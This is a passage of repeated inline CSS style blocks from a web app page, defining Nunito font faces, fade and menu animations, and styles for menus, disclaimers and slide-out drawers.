font-size: 22px;
line-height: 30px;
text-align: center;
color: #ffffff;
margin-bottom: 15px;
text-transform: capitalize;
display: none; }
@media (max-width: 992px) {
.headerMenu__contain .headerMenu__title {
display: block; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.mainmenu-skeleton-container {
display: flex;
justify-content: flex-start;
align-items: flex-start;
line-height: 16px;
padding: 15px; }
.mainmenu-skeleton-container .mainmenu-skeleton-icon {
margin-right: 10px; }
.mainmenu-link-container {
line-height: 16px;
padding: 15px;
display: flex;
flex-direction: row;
justify-content: flex-start;
align-items: flex-start;
position: relative;
text-decoration: none;
cursor: pointer; }
.mainmenu-link-container.active {
background-color: rgba(255, 255, 255, 0.1); }
.mainmenu-link-container .mainmenu-icon-container {
position: relative; }
.mainmenu-link-container .mainmenu-icon-container .mainmenu-icon-notification {
position: absolute;
width: 6px;
height: 6px;
border-radius: 50%;
background-color: #ff7a02;
top: -2px;
left: 11px; }
.mainmenu-link-container .mainmenu-icon-container .mainmenu-icon {
margin-right: 10px; }
.mainmenu-link-container .mainmenu-link-text {
color: #ffffff;
font-family: NunitoSans-Regular;
font-size: 12px; }
.mainmenu-link-container .mainmenu-link-text:hover {
cursor: pointer; }
.mainmenu-link-container .submenu-icon {
position: absolute;
right: 20px;
color: #ecf2f8;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.4s;
-moz-transition-duration: 0.4s;
-ms-transition-duration: 0.4s;
-o-transition-duration: 0.4s;
transition-duration: 0.4s;
-webkit-transition-timing-function: ease;
-moz-transition-timing-function: ease;
-ms-transition-timing-function: ease;
-o-transition-timing-function: ease;
transition-timing-function: ease; }
.mainmenu-link-container .submenu-icon.open {
-webkit-transform: rotateZ(180deg);
-moz-transform: rotateZ(180deg);
-ms-transform: rotateZ(180deg);
-o-transform: rotateZ(180deg);
transform: rotateZ(180deg); }
.submenu-links-container {
display: flex;
flex-direction: column; }
.submenu-links-container.submenu-links-closed {
-webkit-transition-property: transform, max-height;
-moz-transition-property: transform, max-height;
-ms-transition-property: transform, max-height;
-o-transition-property: transform, max-height;
transition-property: transform, max-height;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
overflow: hidden;
-webkit-animation: fadeOut ease 1s;
-moz-animation: fadeOut ease 1s;
-o-animation: fadeOut ease 1s;
animation: fadeOut ease 1s; }
.submenu-links-container.submenu-links-open {
-webkit-transition-property: transform, max-height;
-moz-transition-property: transform, max-height;
-ms-transition-property: transform, max-height;
-o-transition-property: transform, max-height;
transition-property: transform, max-height;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 727px) {
.mainmenu-link-container {
padding: 16px 15px 15px 15px;
align-items: center; }
.mainmenu-link-container .mainmenu-link-text {
font-size: 14px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.submenu-skeleton-container {
display: flex;
justify-content: flex-start;
align-items: flex-start;
line-height: 16px;
padding: 15px; }
.submenu-skeleton-container i {
margin-right: 20px; }
.submenu-link-container {
position: relative;
padding: 15px;
display: flex;
text-decoration: none;
cursor: pointer;
align-items: center; }
.submenu-link-container.active {
background-color: rgba(255, 255, 255, 0.1); }
.submenu-link-container i {
margin-right: 20px; }
.submenu-link-container .submenu-link-text {
color: #ffffff;
font-family: NunitoSans-Regular;
font-size: 11px;
cursor: pointer; }
.submenu-link-container .submenu-badge {
position: absolute;
right: 20px; }
@media (max-width: 727px) {
.submenu-link-container .submenu-link-text {
font-size: 13px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.disclaimer {
font-size: 12px;
line-height: 16px;
font-family: Nunito-Regular;
padding: 15px; }
.disclaimer.disclaimer--transparent {
color: #6e7f8d; }
.disclaimer.disclaimer--light {
background-color: #ffffff;
color: #122e43; }
.disclaimer.disclaimer--dark {
background-color: #122e43;
color: #ffffff; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.disclaimer--card {
padding: 24px;
border-radius: 6px;
font-size: 12px;
line-height: 18px; }
.disclaimer--card.disclaimer--default {
background-color: #ecf2f8;
color: #788fa0; }
.disclaimer--card .card__content {
width: 100%;
font-family: NunitoSans-Regular;
max-height: 122px;
overflow: scroll;
overflow-x: hidden;
padding-right: 13px; }
.disclaimer--card .card__content::-webkit-scrollbar {
width: 4px; }
.disclaimer--card .card__content::-webkit-scrollbar-track {
background: transparent; }
.disclaimer--card .card__content::-webkit-scrollbar-thumb {
border-radius: 30px;
background-clip: padding-box; }
.disclaimer--card .card__content::-webkit-scrollbar-button {
width: 0;
height: 0;
display: none; }
.disclaimer--card .card__content::-webkit-scrollbar-corner {
background-color: transparent; }
.disclaimer--card .card__content p {
font-family: NunitoSans-Regular; }
.disclaimer--card.disclaimer--default .card__content::-webkit-scrollbar-thumb {
background-color: #c1cbd4; }
@media (max-width: 727px) {
.disclaimer--card {
padding: 16px 29px 16px 16px; }
.disclaimer--card .card__content {
max-height: 138px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.drawer {
position: fixed;
background-color: rgba(0, 0, 0, 0.3);
width: 100%;
height: 100%;
display: flex;
justify-content: flex-end;
z-index: 1000;
top: 0;
left: 0;
opacity: 0;
visibility: hidden; }
.drawer.drawer--close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.drawer.drawer--open {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
opacity: 1;
visibility: visible; }
.drawer .drawer__content {
width: 375px;
height: 100%;
background-color: #ffffff;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-transform: translateX(100%);
-moz-transform: translateX(100%);
-ms-transform: translateX(100%);
-o-transform: translateX(100%);
transform: translateX(100%);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.drawer .drawer__content::-webkit-scrollbar {
width: 0; }
.drawer .drawer__content.content--open {
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transform: translateX(0);
-moz-transform: translateX(0);
-ms-transform: translateX(0);
-o-transform: translateX(0);
transform: translateX(0);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.drawer .drawer__content .content__close {
width: 34px;
height: 34px;
border-radius: 50%;
background-color: #ffffff;
position: absolute;
top: 15px;
right: 18px;
cursor: pointer;
display: flex;
justify-content: center;
align-items: center; }
.drawer .drawer__content .content__close img {
width: 34px;
height: 34px; }
@media (max-width: 727px) {
.drawer .drawer__content {
width: 100%;
height: 100%; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.drawer-dashboard {
position: fixed;
background-color: rgba(0, 0, 0, 0.3);
width: 100%;
height: 100%;
display: flex;
justify-content: flex-end;
z-index: 2147483641;
top: 0;
left: 0;
opacity: 0;
visibility: hidden; }
.drawer-dashboard.drawer-dashboard--close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.drawer-dashboard.drawer-dashboard--open {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
opacity: 1;
visibility: visible; }
.drawer-dashboard .drawer-dashboard__content_close {
margin-top: 0px; }
.drawer-dashboard .drawer-dashboard__content {
overflow: auto;
width: 375px;
height: 100%;
background-color: #ffffff;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-transform: translateX(100%);
-moz-transform: translateX(100%);
-ms-transform: translateX(100%);
-o-transform: translateX(100%);
transform: translateX(100%);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
@media (max-width: 727px) {
.drawer-dashboard .drawer-dashboard__content {
-webkit-transform: translateY(100%);
-moz-transform: translateY(100%);
-ms-transform: translateY(100%);
-o-transform: translateY(100%);
transform: translateY(100%);
position: absolute; } }
.drawer-dashboard .drawer-dashboard__content.background--default {
background-color: #f4f6f8; }
.drawer-dashboard .drawer-dashboard__content.background--white {
background-color: #ffffff; }
.drawer-dashboard .drawer-dashboard__content::-webkit-scrollbar {
width: 0; }
.drawer-dashboard .drawer-dashboard__content.content--open {
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
